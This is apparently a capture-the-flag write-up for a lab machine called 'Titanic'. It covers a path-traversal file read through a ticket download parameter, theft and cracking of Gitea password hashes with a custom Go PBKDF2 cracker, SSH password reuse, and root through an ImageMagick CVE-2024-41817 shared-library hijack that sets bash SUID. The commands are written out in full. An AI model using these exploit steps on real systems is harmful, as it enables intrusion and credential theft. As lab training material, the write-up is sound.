Titanic
9 minutes to read

root
using a vulnerable version of ImageMagick where we can perform a library hijacking to get arbitrary code execution, as root
- CVE
- Docker
- Cron jobs
- Local File Read
- Volume mounts
- Password reuse
- File permissions
- Library Hijacking
- Password hash cracking
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.55
- Release: 15 / 02 / 2025
Port scanning
# Nmap 7.95 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.55 -p 22,80
Nmap scan report for 10.10.11.55
Host is up (0.016s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 20.13 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.55
, we will be redirected to titanic.htb
. After setting the domain in /etc/hosts
, we have the following website:
The only thing we can do here is book a trip:
Once we fill all parameters and submit the form, a JSON document with the form fields is downloaded automatically. We can see this in the network tab of the browser developer tools:
Local File Read
We see that the JSON document is downloaded from /download?ticket=
. We might want to test if we can retrieve arbitrary files from the web server. For instance, we can try several ../
to traverse back and try to read /etc/hosts
or /etc/passwd
:
$ curl 'titanic.htb/download?ticket=../../../../../../etc/hosts'
127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Actually, we don’t need the directory traversal payload, so simply sending the absolute path will work:
$ curl 'titanic.htb/download?ticket=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
We can see that we only have two system users:
$ curl 'titanic.htb/download?ticket=/etc/passwd' -s | grep sh$
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
Unexpectedly, we are allowed to read user.txt
!
$ curl 'titanic.htb/download?ticket=/home/developer/user.txt'
e6443b1e89e2a93a9bb29c59f8e54f9c
Obviously, this is not intended…
If we take a look at /etc/hosts
, we will see dev.titanic.htb
. After setting the subdomain in our /etc/hosts
, we can see a Gitea instance:
Here we can find that developer
has two repositories:
The flask-app
repository contains the booking web application from before, and there is nothing interesting apart from the Local File Read vulnerability.
Foothold
Therefore, we are left with docker-config
:
There is a mysql
directory with a docker-compose.yml
file, but it is not relevant because we don’t have access to this service. But there is also a gitea
directory with another docker-compose.yml
file:
If you notice, there is a volume mount to store Gitea information on the host machine too. Using the Local File Read vulnerability, maybe we can read sensitive information from this volume.
To figure this out, we can run the same Docker container with the same docker-compose.yml
file (modifying the host volume path) and then see what we have in /data
.
$ docker compose up
[+] Running 8/8
β gitea Pulled 19.7s
β b435a4918897 Pull complete 0.7s
β 6e771e15690e Pull complete 4.0s
β 0be93fbee49b Pull complete 8.4s
β b45ceccfc7c3 Pull complete 0.9s
β 171f2a179cec Pull complete 0.7s
β 2e434f7d5abe Pull complete 14.7s
β c60361d06bac Pull complete 14.7s
[+] Running 2/2
β Network content_default Created 0.0s
β Container gitea Created 0.2s
Attaching to gitea
gitea | Generating /data/ssh/ssh_host_ed25519_key...
gitea | Generating /data/ssh/ssh_host_rsa_key...
gitea | Generating /data/ssh/ssh_host_ecdsa_key...
gitea | Server listening on :: port 22.
gitea | Server listening on 0.0.0.0 port 22.
gitea | 2025/03/12 12:06:47 cmd/web.go:253:runWeb() [I] Starting Gitea on PID: 15
...
We can create a dummy account and a dummy repository, and then take a look at /data
:
$ tree -L 2 data
data
βββ git
βΒ Β βββ lfs
βΒ Β βββ repositories
βββ gitea
βΒ Β βββ actions_artifacts
βΒ Β βββ actions_log
βΒ Β βββ attachments
βΒ Β βββ avatars
βΒ Β βββ conf
βΒ Β βββ gitea.db
βΒ Β βββ home
βΒ Β βββ indexers
βΒ Β βββ jwt
βΒ Β βββ log
βΒ Β βββ packages
βΒ Β βββ queues
βΒ Β βββ repo-archive
βΒ Β βββ repo-avatars
βΒ Β βββ sessions
βΒ Β βββ tmp
βββ ssh
βββ ssh_host_ecdsa_key
βββ ssh_host_ecdsa_key.pub
βββ ssh_host_ed25519_key
βββ ssh_host_ed25519_key.pub
βββ ssh_host_rsa_key
βββ ssh_host_rsa_key.pub
21 directories, 7 files
The ssh
directory looks juicy, but it doesn’t seem to be readable from the web server. Instead, we can take a look at the gitea.db
file, which is a SQLite database:
$ sqlite3 data/gitea/gitea.db
SQLite version 3.43.2 2023-10-10 13:08:14
Enter ".help" for usage hints.
sqlite> .tables
access org_user
access_token package
action package_blob
action_artifact package_blob_upload
action_run package_cleanup_rule
action_run_index package_file
action_run_job package_property
action_runner package_version
action_runner_token project
action_schedule project_board
action_schedule_spec project_issue
action_task protected_branch
action_task_output protected_tag
action_task_step public_key
action_tasks_version pull_auto_merge
action_variable pull_request
app_state push_mirror
attachment reaction
auth_token release
badge renamed_branch
branch repo_archiver
collaboration repo_indexer_status
comment repo_license
commit_status repo_redirect
commit_status_index repo_topic
commit_status_summary repo_transfer
dbfs_data repo_unit
dbfs_meta repository
deploy_key review
email_address review_state
email_hash secret
external_login_user session
follow star
gpg_key stopwatch
gpg_key_import system_setting
hook_task task
issue team
issue_assignees team_invite
issue_content_history team_repo
issue_dependency team_unit
issue_index team_user
issue_label topic
issue_user tracked_time
issue_watch two_factor
label upload
language_stat user
lfs_lock user_badge
lfs_meta_object user_blocking
login_source user_open_id
milestone user_redirect
mirror user_setting
notice version
notification watch
oauth2_application webauthn_credential
oauth2_authorization_code webhook
oauth2_grant
sqlite> .header on
sqlite> select * from user;
id|lower_name|name|full_name|email|keep_email_private|email_notifications_preference|passwd|passwd_hash_algo|must_change_password|login_type|login_source|login_name|type|location|website|rands|salt|language|description|created_unix|updated_unix|last_login_unix|last_repo_visibility|max_repo_creation|is_active|is_admin|is_restricted|allow_git_hook|allow_import_local|allow_create_organization|prohibit_login|avatar|avatar_email|use_custom_avatar|num_followers|num_following|num_stars|num_repos|num_teams|num_members|visibility|repo_admin_change_team_access|diff_view_style|theme|keep_activity_private
1|asdf|asdf||asdf@asdf.com|0|enabled|edf69fd27a30cd8a3be6b67034265c56a2b455153ac25317308f8b1c7721a62f90f71f87f86707d3c18f225625352e8fc481|pbkdf2$50000$50|0|0|0||0|||d0796fc1a6c0303c745e605816be0f2c|4fd632a203bf1ee53bfb164bf861ba3a|es-ES||1741781290|1741781299|1741781290|0|-1|1|1|0|0|0|1|0|87f60ea777b0d9395d5d4ad7ea4be745|asdf@asdf.com|0|0|0|0|1|0|0|0|0||gitea-auto|0
Oh, we have information about user authentication in the user
table! Particularly, we are interested in name
, passwd
, passwd_hash_algo
and salt
.
Finding passwords
Let’s download and inspect the database file from the server:
$ curl 'titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -so gitea.db
$ sqlite3 gitea.db
SQLite version 3.43.2 2023-10-10 13:08:14
Enter ".help" for usage hints.
sqlite> select name, passwd, passwd_hash_algo, salt from user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34
So, we have two password hashes for administrator
and developer
. The hashing algorithm is some kind of PBKDF. In order to see how it goes, it is recommended to take a look at the Gitea code base.
After some research, we can find the relevant Go file in go-gitea. Here we see that it uses PBKDF with SHA256 as a hash function, 50000 iterations (iter
) and a key length of 50 (keyLen
).
Now, we can take the relevant code to write a custom hash cracker in Go (it can also be translated to Python or whatever, but why should we change?):
package main
import (
"bytes"
"fmt"
"os"
"crypto/sha256"
"encoding/hex"
"golang.org/x/crypto/pbkdf2"
)
var usernames = []string{"administrator", "developer"}
var salts = []string{"2d149e5fbd1b20cf31db3e3c6a28fc9b", "8bf3e3452b78544f8bee9400d6936d34"}
var hashes = []string{
"cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136",
"e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56",
}
func main() {
passwords, _ := os.ReadFile("rockyou.txt")
for password := range bytes.SplitSeq(passwords, []byte{'\n'}) {
for i, hash := range hashes {
salt, _ := hex.DecodeString(salts[i])
if hash == hex.EncodeToString(pbkdf2.Key(password, salt, 50000, 50, sha256.New)) {
fmt.Println(usernames[i], string(password))
os.Exit(0)
}
}
}
}
If we run this Go program, we will find the password of developer
after a few minutes:
$ go run crack.go
developer 25282528
At this point, we could log into Gitea as developer
, but there is nothing left there. So, the only thing we can do is to try this password in SSH. And it works!
$ ssh developer@titanic.htb
developer@titanic.htb's password:
developer@titanic:~$ cat user.txt
e6443b1e89e2a93a9bb29c59f8e54f9c
System enumeration
After basic enumeration, we can see a script inside /opt
:
developer@titanic:~$ ls /opt
app containerd scripts
developer@titanic:~$ ls /opt/scripts/
identify_images.sh
developer@titanic:~$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
This script moves to /opt/app/static/assets/images/
, truncates metadata.log
to 0 bytes, and then calls magick identify
on each JPEG image. The result is stored in metadata.log
:
developer@titanic:~$ ls -la /opt/app/static/assets/images/
total 1288
drwxrwx--- 2 root developer 4096 Feb 3 17:13 .
drwxr-x--- 3 root developer 4096 Feb 7 10:37 ..
-rw-r----- 1 root developer 291864 Feb 3 17:13 entertainment.jpg
-rw-r----- 1 root developer 280854 Feb 3 17:13 exquisite-dining.jpg
-rw-r----- 1 root developer 209762 Feb 3 17:13 favicon.ico
-rw-r----- 1 root developer 232842 Feb 3 17:13 home.jpg
-rw-r----- 1 root developer 280817 Feb 3 17:13 luxury-cabins.jpg
-rw-r----- 1 root developer 442 Mar 13 22:28 metadata.log
developer@titanic:~$ cat /opt/app/static/assets/images/metadata.log
/opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B 0.010u 0:00.003
/opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B 0.000u 0:00.000
/opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B 0.000u 0:00.000
/opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B 0.010u 0:00.000
Notice that we are not allowed to execute the script because metadata.log
is owned by root
and we are not allowed to write into it:
developer@titanic:~$ /opt/scripts/identify_images.sh
truncate: cannot open 'metadata.log' for writing: Permission denied
/opt/scripts/identify_images.sh: line 3: metadata.log: Permission denied
Therefore, we can guess that this script is being run by root
periodically.
Privilege escalation
In order to escalate privileges, we must find a flaw on the script. The only thing that might be vulnerable is magick
, which comes from ImageMagick. This is the exact version:
developer@titanic:~$ magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
If we search for vulnerabilities, we will find CVE-2024-41817, and also a proof of concept.
The PoC says that we must write a delegates.xml
file with the system command we want to execute and then tell magick
to load this configuration. We can check it out:
developer@titanic:~$ cat > delegates.xml
<delegatemap><delegate xmlns="" decode="XML" command="id"/></delegatemap>
^C
developer@titanic:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
developer@titanic:~$ magick ./delegates.xml ./out.png 2>/dev/null
uid=1000(developer) gid=1000(developer) groups=1000(developer)
However, the command run by root
does not include the delegates.xml
file…
Library hijacking
The PoC also includes a way to avoid using the delegates.xml
file explicitly. For this, we must compile a shared library and put it in the working directory where magick
will run.
With this we will be able to execute any command as root
. Notice that it is a blind command execution as root
, so we must use a reverse shell, set Bash to be a SUID binary or perform any other persistence technique:
Luckily, gcc
is installed on the machine:
developer@titanic:~$ gcc -x c -shared -fPIC -o /opt/app/static/assets/images/libxcb.so.1 - << EOF
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
>
> __attribute__((constructor)) void init() {
> system("chmod u+s /bin/bash");
> exit(0);
> }
> EOF
developer@titanic:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
A few seconds later, we will see that Bash permissions have changed:
developer@titanic:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
So, we just have to use bash -p
to get a shell as root
:
developer@titanic:~$ bash -p
bash-5.1# cat /root/root.txt
ff66028f643f9e1abde5dbf8fa85bf94